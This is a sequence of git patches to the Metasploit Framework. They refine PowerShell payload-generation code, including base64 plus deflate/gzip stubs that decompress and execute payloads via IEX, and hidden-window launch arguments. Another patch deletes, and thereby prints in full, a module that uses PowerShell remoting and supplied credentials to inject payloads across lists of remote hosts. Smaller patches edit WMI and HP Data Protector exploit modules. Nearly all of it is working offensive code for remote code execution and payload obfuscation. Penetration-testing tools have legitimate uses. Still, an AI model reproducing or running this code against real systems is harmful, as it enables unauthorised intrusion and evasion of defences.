From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 19 Apr 2014 18:54:42 +0100
Subject: [PATCH 060/108] Catch first arg with shorten

---
 lib/msf/core/exploit/powershell.rb | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 2e3a32082781..6bc4e75cb930 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -163,18 +163,21 @@ def generate_psh_args(opts)
 
     # Shorten arg if PSH 2.0+
     if opts[:shorten]
+      # Invoke-Command and Out-File require these options to have
+      # an additional space before to prevent Powershell code being
+      # mangled.
       arg_string.gsub!(' -Command ', ' -c ')
-      arg_string.gsub!(' -EncodedCommand ', ' -e ')
-      arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
+      arg_string.gsub!('-EncodedCommand ', ' -e ')
+      arg_string.gsub!('-ExecutionPolicy ', ' -ep ')
       arg_string.gsub!(' -File ', ' -f ')
-      arg_string.gsub!(' -InputFormat ', ' -i ')
-      arg_string.gsub!(' -NoExit ', ' -noe ')
-      arg_string.gsub!(' -NoLogo ', ' -nol ')
-      arg_string.gsub!(' -NoProfile ', ' -nop ')
-      arg_string.gsub!(' -NonInteractive ', ' -noni ')
-      arg_string.gsub!(' -OutputFormat ', ' -o ')
-      arg_string.gsub!(' -Sta ', ' -s ')
-      arg_string.gsub!(' -WindowStyle ', ' -w ')
+      arg_string.gsub!('-InputFormat ', ' -i ')
+      arg_string.gsub!('-NoExit ', ' -noe ')
+      arg_string.gsub!('-NoLogo ', ' -nol ')
+      arg_string.gsub!('-NoProfile ', ' -nop ')
+      arg_string.gsub!('-NonInteractive ', ' -noni ')
+      arg_string.gsub!('-OutputFormat ', ' -o ')
+      arg_string.gsub!('-Sta ', ' -s ')
+      arg_string.gsub!('-WindowStyle ', ' -w ')
     end
 
     #Strip off first space character

From c936dc963cccaa83d93becc269743c8eb18beb77 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 19 Apr 2014 18:55:45 +0100
Subject: [PATCH 061/108] Shorten compression

---
 lib/rex/exploitation/powershell.rb | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 2b03e99632a5..b97761ddf184 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -45,8 +45,8 @@ def deflate_code(eof = nil)
       psh_expression =  "$s=New-Object IO.MemoryStream(,"
       psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
       # Read & delete the first two bytes due to incompatibility with MS
-      psh_expression << "$stream.ReadByte()|Out-Null;"
-      psh_expression << "$stream.ReadByte()|Out-Null;"
+      psh_expression << "$s.ReadByte()|Out-Null;"
+      psh_expression << "$s.ReadByte()|Out-Null;"
       # Uncompress and invoke the expression (execute)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.DeflateStream("
@@ -81,12 +81,12 @@ def gzip_code(eof = nil)
 
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
-      psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+      psh_expression =  "$s=New-Object IO.MemoryStream(,"
       psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
       # Uncompress and invoke the expression (execute)
-      psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
+      psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.GzipStream("
-      psh_expression << "$stream,"
+      psh_expression << "$s,"
       psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
       psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
 

From 0f942d8c3d47ded78147709c73e20396b470b5a7 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 19 Apr 2014 18:58:26 +0100
Subject: [PATCH 062/108] Still :shorten command args

---
 lib/msf/core/exploit/powershell.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 6bc4e75cb930..29ed0c79825c 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -197,7 +197,6 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
         :noprofile => true,
         :windowstyle => 'hidden',
-        :shorten => false
     }
 
     if encoded

From 00234aeec3f95f6acc9ddd050cd02f52a17d6aa9 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 19 Apr 2014 19:03:18 +0100
Subject: [PATCH 063/108] Remove powershell remoting

---
 .../windows/local/powershell_remoting.rb      | 154 ------------------
 1 file changed, 154 deletions(-)
 delete mode 100644 modules/exploits/windows/local/powershell_remoting.rb

diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb
deleted file mode 100644
index 622cecd1c593..000000000000
--- a/modules/exploits/windows/local/powershell_remoting.rb
+++ /dev/null
@@ -1,154 +0,0 @@
-##
-# This module requires Metasploit: http//metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-require 'msf/core'
-require 'rex'
-
-class Metasploit3 < Msf::Exploit::Local
-  Rank = ExcellentRanking
-
-  include Msf::Exploit::Powershell
-
-  def initialize(info={})
-    super( update_info( info,
-        'Name'          => 'Powershell Remoting Remote Command Execution',
-        'Description'   => %q{
-          Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
-        If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
-        use a HOSTFILE to supply a list of known hostnames.
-        },
-        'License'       => MSF_LICENSE,
-        'Author'        => [
-            'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
-          ],
-        'References'    =>
-          [
-            [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
-            [ 'OSVDB', '3106'],
-          ],
-        'DefaultOptions' =>
-            {
-                'EXITFUNC' => 'thread',
-            },
-        'DisclosureDate' => 'Jan 01 1999',
-        'Platform'      => [ 'win' ],
-        'SessionTypes'  => [ 'meterpreter', 'shell' ],
-        'Targets' =>
-        [
-            [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
-        ],
-        'DefaultTarget' => 0
-      ))
-
-    register_options([
-      OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
-      OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
-      OptString.new('SMBDomain',  [ false, 'The Windows domain to use for authentication' ]),
-      OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
-      OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
-      # Move this out of advanced
-      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
-      OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ]),
-    ])
-
-    register_advanced_options(
-      [
-        OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
-      ], self.class)
-  end
-
-  def exploit
-    if not datastore['ExitOnSession'] and not job_id
-      fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
-    end
-
-    unless datastore['RHOSTS'] || datastore['HOSTFILE']
-      fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
-    end
-
-    if datastore['SMBUser'] and datastore['SMBPass'].nil?
-      fail_with(Failure::BadConfig, "Need both username and password set.")
-    end
-
-    if datastore['RHOSTS']
-      ip_list = "$iplist="
-      Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
-        ip_list << "'#{ip}',"
-      end
-
-      # Remove trailing comma...
-      ip_list = ip_list[0..-2]
-      ip_list << ";"
-    end
-
-    known_hosts = ""
-    if datastore['HOSTFILE']
-      ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
-        hostname.strip!
-        known_hosts << "'#{hostname}'," unless hostname.blank?
-      end
-      known_hosts = known_hosts[0..-2]
-    end
-
-    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { :encode_final_payload => true, :remove_comspec => true })
-
-    ps =<<EOF
-#{generate_credentials}
-$ResultList=@(#{known_hosts});
-#{ip_list}
-foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
-Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
-EOF
-
-    if datastore['SMBUser']
-      ps << " -Credential $creds"
-    end
-
-    # If the host process terminates too quickly the jobs will die
-    # before they spawn in a new process.
-    ps << ";Sleep 20;"
-    ps.gsub!("\n","")
-
-    command = generate_psh_command_line({
-      :noprofile => true,
-      :windowstyle => 'hidden',
-      :command => ps,
-    })
-
-    print_status("Executing command...")
-    begin
-      cmd_exec(command)
-    rescue Rex::TimeoutError
-    end
-
-    stime = Time.now.to_f
-    while(true)
-      break if session_created? and datastore['ExitOnSession']
-      break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
-
-      Rex.sleep(1)
-    end
-  end
-
-  def generate_credentials(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
-    creds = ""
-
-    unless user.nil?
-      creds = "$pass=ConvertTo-SecureString -string #{pass} -asPlainText -force;"\
-      "$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
-      if domain.nil?
-        creds << "'#{user}'"
-      else
-        creds << "'#{domain}\\#{user}'"
-      end
-
-      creds << ",$pass;"
-    end
-
-    return creds
-  end
-
-end
-

From 3019cb99c1ce13bcbfc360690e4ac663fea268ad Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 19 Apr 2014 19:13:48 +0100
Subject: [PATCH 064/108] Update cmd_upgrade module

---
 modules/exploits/windows/local/powershell_cmd_upgrade.rb | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb
index 5b46139a50d7..d72baa6166f5 100644
--- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb
+++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb
@@ -40,7 +40,8 @@ def exploit
 
     if file? "%WINDIR%\\System32#{psh_path}"
       print_status("Executing powershell command line...")
-      cmd_exec(cmd_psh_payload(payload.encoded))
+      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
+      cmd_exec(command)
     else
       fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")
     end

From 5d9bc71e973d8305f7ea6facf6acc804ffa07b6b Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 19 Apr 2014 19:16:17 +0100
Subject: [PATCH 065/108] Update hp_dataprotector

---
 modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
index b0e0256094ad..0ae9fb121704 100644
--- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
+++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb
@@ -95,7 +95,7 @@ def exploit
       execute_cmdstager({:linemax => 7500})
     elsif target.name =~ /Powershell/
       # Environment variables are not being expanded before, neither in CreateProcess
-      command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
+      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
       if command.length > 8000
         # Windows 2008 Command Prompt Max Length is 8191
         fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")

From d73854ff1766594e91e84b63f020402fce5e2aa8 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Apr 2014 14:28:27 +0100
Subject: [PATCH 066/108] Fix wmi and add automatic target

---
 modules/exploits/windows/local/wmi.rb | 30 ++++-----------------------
 1 file changed, 4 insertions(+), 26 deletions(-)

diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb
index 761b0d29d13b..296887886224 100644
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@@ -49,10 +49,9 @@ def initialize(info={})
         'DisclosureDate' => 'Jan 01 1999',
         'Platform'      => [ 'win' ],
         'SessionTypes'  => [ 'meterpreter' ],
-        'Targets'	=>
+        'Targets'       =>
         [
-            [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
-            [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+            [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ],
         ],
         'DefaultTarget' => 0
       ))
@@ -127,29 +126,6 @@ def run_host(server)
         print_error("[#{server}] failed...)")
       end
 
-      print_status("[#{server}] Cleaning up environment variables")
-      env_vars.each do |env|
-        cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
-        wmic_command(server, cleanup_cmd)
-      end
-    rescue Rex::Post::Meterpreter::RequestError => e
-      print_error("[#{server}] Error moving on... #{e}")
-      next
-    ensure
-        select(nil,nil,nil,2)
-    end
-  end
-  
-  def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass'])
-    userpass = ""
-
-    unless user.nil?
-      if domain.nil?
-        userpass = "/user:\"#{user}\" /password:\"#{pass}\" "
-      else
-        userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" "
-      end
-
       print_status("[#{server}] Cleaning up environment variables")
       env_vars.each do |env|
         cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
@@ -158,6 +134,8 @@ def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser
     rescue Rex::Post::Meterpreter::RequestError => e
       print_error("[#{server}] Error moving on... #{e}")
       return false
+    ensure
+        Rex::sleep(2)
     end
   end
 

From 71b43d392b4241fab7a158a2237146430f3c1dfa Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Apr 2014 14:36:02 +0100
Subject: [PATCH 067/108] Dont need to specify ASCII mode

---
 lib/rex/exploitation/powershell.rb | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index b97761ddf184..d4b432eda750 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -51,8 +51,8 @@ def deflate_code(eof = nil)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.DeflateStream("
       psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
-      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress))"
+      psh_expression << ")).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
@@ -87,8 +87,8 @@ def gzip_code(eof = nil)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.GzipStream("
       psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
-      psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+      psh_expression << "[IO.Compression.CompressionMode]::Decompress))"
+      psh_expression << ")).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

From cec12edd99bf40dddd8d4d74ebfcab5d6e986c2e Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Apr 2014 14:40:32 +0100
Subject: [PATCH 068/108] Use enum integer values

---
 lib/rex/exploitation/powershell.rb | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index d4b432eda750..1d42a464bd2b 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -51,7 +51,8 @@ def deflate_code(eof = nil)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.DeflateStream("
       psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress))"
+      # [IO.Compression.CompressionMode]::Decompress = 0
+      psh_expression << "0))"
       psh_expression << ")).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output
@@ -87,7 +88,8 @@ def gzip_code(eof = nil)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.GzipStream("
       psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress))"
+      # [IO.Compression.CompressionMode]::Decompress = 0
+      psh_expression << "0))"
       psh_expression << ")).ReadToEnd());"
 
       # If eof is set, add a marker to signify end of code output

From 354311d191c41cb248e572ff5ad347d78b465a5e Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Apr 2014 14:42:03 +0100
Subject: [PATCH 069/108] No need to out-null if no windows is shown

---
 lib/rex/exploitation/powershell.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 1d42a464bd2b..afb9e7d5883a 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -45,8 +45,8 @@ def deflate_code(eof = nil)
       psh_expression =  "$s=New-Object IO.MemoryStream(,"
       psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
       # Read & delete the first two bytes due to incompatibility with MS
-      psh_expression << "$s.ReadByte()|Out-Null;"
-      psh_expression << "$s.ReadByte()|Out-Null;"
+      psh_expression << "$s.ReadByte();"
+      psh_expression << "$s.ReadByte();"
       # Uncompress and invoke the expression (execute)
       psh_expression << "$(IEX $(New-Object IO.StreamReader("
       psh_expression << "$(New-Object IO.Compression.DeflateStream("

From 4c66e86f7349ea80ac09ea91215e02d579a4eac6 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Apr 2014 14:44:01 +0100
Subject: [PATCH 070/108] Dont add extra space in args

---
 lib/msf/core/exploit/powershell.rb | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 29ed0c79825c..23a6813407dc 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -167,17 +167,17 @@ def generate_psh_args(opts)
       # an additional space before to prevent Powershell code being
       # mangled.
       arg_string.gsub!(' -Command ', ' -c ')
-      arg_string.gsub!('-EncodedCommand ', ' -e ')
-      arg_string.gsub!('-ExecutionPolicy ', ' -ep ')
+      arg_string.gsub!('-EncodedCommand ', '-e ')
+      arg_string.gsub!('-ExecutionPolicy ', '-ep ')
       arg_string.gsub!(' -File ', ' -f ')
-      arg_string.gsub!('-InputFormat ', ' -i ')
-      arg_string.gsub!('-NoExit ', ' -noe ')
-      arg_string.gsub!('-NoLogo ', ' -nol ')
-      arg_string.gsub!('-NoProfile ', ' -nop ')
-      arg_string.gsub!('-NonInteractive ', ' -noni ')
-      arg_string.gsub!('-OutputFormat ', ' -o ')
-      arg_string.gsub!('-Sta ', ' -s ')
-      arg_string.gsub!('-WindowStyle ', ' -w ')
+      arg_string.gsub!('-InputFormat ', '-i ')
+      arg_string.gsub!('-NoExit ', '-noe ')
+      arg_string.gsub!('-NoLogo ', '-nol ')
+      arg_string.gsub!('-NoProfile ', '-nop ')
+      arg_string.gsub!('-NonInteractive ', '-noni ')
+      arg_string.gsub!('-OutputFormat ', '-o ')
+      arg_string.gsub!('-Sta ', '-s ')
+      arg_string.gsub!('-WindowStyle ', '-w ')
     end
 
     #Strip off first space character

From 86cfecdd9500ae31eef843b429a72c12d5f7a681 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 22 Apr 2014 14:52:30 +0100
Subject: [PATCH 071/108] Shave some chars off compression code

---
 lib/rex/exploitation/powershell.rb | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index afb9e7d5883a..8c3229e935e6 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -43,17 +43,17 @@ def deflate_code(eof = nil)
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
       psh_expression =  "$s=New-Object IO.MemoryStream(,"
-      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+      psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
       # Read & delete the first two bytes due to incompatibility with MS
       psh_expression << "$s.ReadByte();"
       psh_expression << "$s.ReadByte();"
       # Uncompress and invoke the expression (execute)
-      psh_expression << "$(IEX $(New-Object IO.StreamReader("
-      psh_expression << "$(New-Object IO.Compression.DeflateStream("
+      psh_expression << "IEX (New-Object IO.StreamReader("
+      psh_expression << "New-Object IO.Compression.DeflateStream("
       psh_expression << "$s,"
       # [IO.Compression.CompressionMode]::Decompress = 0
-      psh_expression << "0))"
-      psh_expression << ")).ReadToEnd());"
+      psh_expression << "0)"
+      psh_expression << ")).ReadToEnd();"
 
       # If eof is set, add a marker to signify end of code output
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
@@ -83,14 +83,14 @@ def gzip_code(eof = nil)
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
       psh_expression =  "$s=New-Object IO.MemoryStream(,"
-      psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+      psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
       # Uncompress and invoke the expression (execute)
-      psh_expression << "$(IEX $(New-Object IO.StreamReader("
-      psh_expression << "$(New-Object IO.Compression.GzipStream("
+      psh_expression << "IEX (New-Object IO.StreamReader("
+      psh_expression << "New-Object IO.Compression.GzipStream("
       psh_expression << "$s,"
       # [IO.Compression.CompressionMode]::Decompress = 0
-      psh_expression << "0))"
-      psh_expression << ")).ReadToEnd());"
+      psh_expression << "0)"
+      psh_expression << ")).ReadToEnd();"
 
       # If eof is set, add a marker to signify end of code output
       #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

From 88fe619c489197da4bcf4b65cb55e44f6be82571 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 00:15:12 +0100
Subject: [PATCH 072/108] Yarddoc exploit::powershell

---
 lib/msf/core/exploit/powershell.rb | 89 ++++++++++++++++++++++++++++--
 1 file changed, 83 insertions(+), 6 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 23a6813407dc..1df7a59817bc 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -6,7 +6,6 @@ module Exploit::Powershell
 
   PowershellScript = Rex::Exploitation::Powershell::Script
 
-
   def initialize(info = {})
     super
     register_advanced_options(
@@ -29,6 +28,9 @@ def initialize(info = {})
   #
   # Reads script into a PowershellScript
   #
+  # @param script_path [String] Path to the Script File
+  #
+  # @return [PowershellScript] PowerShellScript object
   def read_script(script_path)
     return PowershellScript.new(script_path)
   end
@@ -38,6 +40,10 @@ def read_script(script_path)
   # If script is a path to a file then read the file
   # otherwise treat it as the contents of a file
   #
+  # @param script [String] Script file or path to script
+  # @param subs [Array] Substitutions to insert
+  #
+  # @return [String] Modified script file
   def make_subs(script, subs)
     if ::File.file?(script)
       script = ::File.read(script)
@@ -53,6 +59,9 @@ def make_subs(script, subs)
   #
   # Return an array of substitutions for use in make_subs
   #
+  # @param subs [String] A ; seperated list of substitutions
+  #
+  # @return [Array] An array of substitutions
   def process_subs(subs)
     return [] if subs.nil? or subs.empty?
     new_subs = []
@@ -67,6 +76,10 @@ def process_subs(subs)
   # Return an encoded powershell script
   # Will invoke PSH modifiers as enabled
   #
+  # @param script_in [String] Script contents
+  # @param eof [String] Marker to indicate the end of file appended to script
+  #
+  # @return [String] Encoded script
   def encode_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
@@ -83,6 +96,10 @@ def encode_script(script_in, eof = nil)
   # Return a gzip compressed powershell script
   # Will invoke PSH modifiers as enabled
   #
+  # @param script_in [String] Script contents
+  # @param eof [String] Marker to indicate the end of file appended to script
+  #
+  # @return [String] Compressed script with decompression stub
   def compress_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
@@ -96,8 +113,15 @@ def compress_script(script_in, eof = nil)
   end
 
   #
-  # Generate a powershell command line
+  # Generate a powershell command line, options are passed on to
+  # generate_psh_args
   #
+  # @param opts [Hash] The options to generate the command line
+  # @option opts [String] :path Path to the powershell binary
+  # @option opts [Boolean] :no_full_stop Whether powershell binary
+  #   should include .exe
+  #
+  # @return [String] Powershell command line with arguments
   def generate_psh_command_line(opts)
     if opts[:path] and (opts[:path][-1,1] != "\\")
       opts[:path] << "\\"
@@ -119,6 +143,32 @@ def generate_psh_command_line(opts)
   # The format will be have no space at the start and have a space
   # afterwards e.g. "-Arg1 x -Arg -Arg x "
   #
+  # @param opts [Hash] The options to generate the command line
+  # @option opts [Boolean] :shorten Whether to shorten the powershell
+  #   arguments (v2.0 or greater)
+  # @option opts [String] :encodedcommand Powershell script as an
+  #   encoded command (-EncodedCommand)
+  # @option opts [String] :executionpolicy The execution policy
+  #   (-ExecutionPolicy)
+  # @option opts [String] :inputformat The input format (-InputFormat)
+  # @option opts [String] :file The path to a powershell file (-File)
+  # @option opts [Boolean] :noexit Whether to exit powershell after
+  #   execution (-NoExit)
+  # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
+  # @option opts [Boolean] :noninteractive Whether to load a non
+  #   interactive powershell (-NonInteractive)
+  # @option opts [Boolean] :mta Whether to run as Multi-Threaded
+  #   Apartment (-Mta)
+  # @option opts [String] :outputformat The output format
+  #   (-OutputFormat)
+  # @option opts [Boolean] :sta Whether to run as Single-Threaded
+  #   Apartment (-Sta)
+  # @option opts [Boolean] :noprofile Whether to use the current users
+  #   powershell profile (-NoProfile)
+  # @option opts [String] :windowstyle The window style to use
+  #   (-WindowStyle)
+  #
+  # @return [String] Powershell command arguments
   def generate_psh_args(opts)
     return "" unless opts
 
@@ -189,10 +239,15 @@ def generate_psh_args(opts)
   end
 
   #
-  # Runs powershell in hidden window raising interactive proc msg
-  # Detect the architecture
+  # Wraps the powershell code to launch a hidden window and
+  # detect the execution environment and spawn the appropriate
+  # powershell executable for the payload architecture.
   #
-
+  # @param ps_code [String] Powershell code
+  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
+  # @param encoded [Boolean] Indicates whether ps_code is encoded or not
+  #
+  # @return [String] Wrapped powershell code 
   def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
         :noprofile => true,
@@ -233,8 +288,30 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
   end
 
   #
-  # Creates cmd script to execute psh payload
+  # Creates a powershell command line string which will execute the
+  # payload in a hidden window in the appropriate execution environment
+  # for the payload architecture. Opts are passed through to
+  # run_hidden_psh, generate_psh_command_line and generate_psh_args
+  #
+  # @param pay [String] The payload shellcode
+  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
+  # @param opts [Hash] The options to generate the command
+  # @option opts [Boolean] :persist Loop the payload to cause
+  #   re-execution if the shellcode finishes
+  # @option opts [Integer] :prepend_sleep Sleep for the specified time
+  #   before executing the payload
+  # @option opts [String] :method The powershell injection technique to
+  #   use: 'net'/'reflection'/'old'
+  # @option opts [Boolean] :encode_inner_payload Encodes the powershell
+  #   script within the hidden/architecture detection wrapper
+  # @option opts [Boolean] :encode_final_payload Encodes the final
+  #   powershell script
+  # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
+  #   environment variable at the start of the command line
+  # @option opts [Boolean] :use_single_quotes Wraps the -Command
+  #   argument in single quotes unless :encode_final_payload
   #
+  # @return [String] Powershell command line with payload
   def cmd_psh_payload(pay, payload_arch, opts={})
     opts[:persist] ||= datastore['Powershell::persist']
     opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']

From 647936e291148914af70a56a3ec929c65029e153 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Wed, 23 Apr 2014 01:07:54 +0100
Subject: [PATCH 073/108] Add more yarddoc to Rex::Exploitation::Powershell

encode_code doesn't use eof
no need to unicode encode in gzip as this is handled by encode_code
---
 lib/msf/core/exploit/powershell.rb |  2 +-
 lib/rex/exploitation/powershell.rb | 80 ++++++++++++++++++++++++++----
 2 files changed, 72 insertions(+), 10 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 1df7a59817bc..a510849fd7a4 100644
